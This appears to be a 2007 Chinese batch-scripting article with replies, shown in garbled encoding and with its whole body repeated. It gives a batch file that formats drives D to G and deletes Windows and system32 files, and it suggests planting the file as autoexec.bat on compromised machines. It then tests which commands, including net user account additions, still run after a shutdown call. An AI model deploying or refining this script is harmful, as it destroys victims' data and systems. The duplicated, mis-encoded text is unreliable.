由一段批處理程序所引起的探討感覺(jué)問(wèn)題是有,不太準(zhǔn)確
更新時(shí)間:2007年10月22日 11:02:41 作者:
假如你的系統(tǒng)裝在c盤
打開(kāi)記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運(yùn)行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來(lái)的autoexec.bat
最后一次警告:最好別亂搞,出了問(wèn)題后果自負(fù)
有一個(gè)不完美的地方。我說(shuō)說(shuō)
c:
cd \
cd windows
del. /y
cd system32
請(qǐng)問(wèn)你為什么就肯定系統(tǒng)不是windows2000呢!
對(duì)于windows目錄的確定,你在bat下應(yīng)該用環(huán)境變量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT
還有,有點(diǎn)小小要請(qǐng)教的地方,對(duì)于第二條語(yǔ)句。
shutdown -r -t 0
既然重動(dòng)了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因?yàn)槲覒岩墒怯凶饔玫摹?nbsp;
這個(gè)是我給的回復(fù):
我的系統(tǒng)是XP,在XP的環(huán)境下弄的這個(gè)批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實(shí)如你所說(shuō)shutdown -r -t 0這條語(yǔ)句本來(lái)是不應(yīng)該放在這里,否則系統(tǒng)會(huì)直接重啟動(dòng),導(dǎo)致下面的語(yǔ)句不起作用.
為了得到答案!我對(duì)于這個(gè)問(wèn)題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執(zhí)行的文件。在重啟動(dòng)后發(fā)現(xiàn)emissary1并沒(méi)有加入到用戶組!失敗!
第二次我在ping的前面加入了net user emissary1 /add。因?yàn)槲蚁胫啦谎訒r(shí)執(zhí)行的話。會(huì)不會(huì)成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結(jié)果還是失?。?nbsp;
到這里。我以為shutdown -r -t 0后面的語(yǔ)句是無(wú)效的!想了一下。又改為了以下語(yǔ)句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發(fā)現(xiàn)有了c:\aaa.txt而沒(méi)有c:\aaa2.txt這個(gè)文件。
對(duì)于以上測(cè)試,我僅僅得出在這個(gè)批處理文件中。只能對(duì)內(nèi)部命令會(huì)起作用,而外部命令因?yàn)閣indows已經(jīng)開(kāi)始關(guān)閉窗口,從而導(dǎo)致外部命令的初始化失敗,不能執(zhí)行的結(jié)論!
內(nèi)部命令由cmd.exe提供,因?yàn)閳?zhí)行.bat時(shí)CMD是打開(kāi)的,所以內(nèi)部命令可以正常使用。
打開(kāi)記事本輸入
@echo off
shutdown -r -t 0
format d: /q /y
format e: /q /y
format f: /q /y
format g: /q /y
c:
cd \
cd windows
del. /y
cd system32
del. /y
shutdown -r -t 0
另存為1.bat
然后運(yùn)行
看看有什么后果
如果想搞肉雞的話那么可以
重命為autoexec.bat上傳到肉雞C:覆蓋原來(lái)的autoexec.bat
最后一次警告:最好別亂搞,出了問(wèn)題后果自負(fù)
有一個(gè)不完美的地方。我說(shuō)說(shuō)
c:
cd \
cd windows
del. /y
cd system32
請(qǐng)問(wèn)你為什么就肯定系統(tǒng)不是windows2000呢!
對(duì)于windows目錄的確定,你在bat下應(yīng)該用環(huán)境變量得到。
比如
windir=C:\WINDOWS
windir=C:\WINNT
還有,有點(diǎn)小小要請(qǐng)教的地方,對(duì)于第二條語(yǔ)句。
shutdown -r -t 0
既然重動(dòng)了,那以下的格式化命令還有作用嗎???????????
自己不敢試,因?yàn)槲覒岩墒怯凶饔玫摹?nbsp;
這個(gè)是我給的回復(fù):
我的系統(tǒng)是XP,在XP的環(huán)境下弄的這個(gè)批處理,所以忽略了2000的情況,是我考慮不周全,謝謝你的指正
確實(shí)如你所說(shuō)shutdown -r -t 0這條語(yǔ)句本來(lái)是不應(yīng)該放在這里,否則系統(tǒng)會(huì)直接重啟動(dòng),導(dǎo)致下面的語(yǔ)句不起作用.
為了得到答案!我對(duì)于這個(gè)問(wèn)題親自試了一下!
@echo off
shutdown -r -t 0
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
這是我第一次執(zhí)行的文件。在重啟動(dòng)后發(fā)現(xiàn)emissary1并沒(méi)有加入到用戶組!失敗!
第二次我在ping的前面加入了net user emissary1 /add。因?yàn)槲蚁胫啦谎訒r(shí)執(zhí)行的話。會(huì)不會(huì)成功!
@echo off
shutdown -r -t 0
net user emissary1 /add
ping 127.0.0.1 -n 100 &net user emissary2 /add
shutdown -r -t 0
結(jié)果還是失?。?nbsp;
到這里。我以為shutdown -r -t 0后面的語(yǔ)句是無(wú)效的!想了一下。又改為了以下語(yǔ)句!
@echo off
shutdown -r -t 0
dir > c:\aaa.txt
ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt
shutdown -r -t 0
意外的,這次成功了。重啟后發(fā)現(xiàn)有了c:\aaa.txt而沒(méi)有c:\aaa2.txt這個(gè)文件。
對(duì)于以上測(cè)試,我僅僅得出在這個(gè)批處理文件中。只能對(duì)內(nèi)部命令會(huì)起作用,而外部命令因?yàn)閣indows已經(jīng)開(kāi)始關(guān)閉窗口,從而導(dǎo)致外部命令的初始化失敗,不能執(zhí)行的結(jié)論!
內(nèi)部命令由cmd.exe提供,因?yàn)閳?zhí)行.bat時(shí)CMD是打開(kāi)的,所以內(nèi)部命令可以正常使用。
相關(guān)文章
用bat實(shí)現(xiàn)定時(shí)執(zhí)行任務(wù)的批處理文件
用bat實(shí)現(xiàn)定時(shí)執(zhí)行任務(wù)的批處理文件...2007-05-05Assoc顯示或修改文件名擴(kuò)展關(guān)聯(lián)
Assoc顯示或修改文件名擴(kuò)展關(guān)聯(lián)...2007-09-09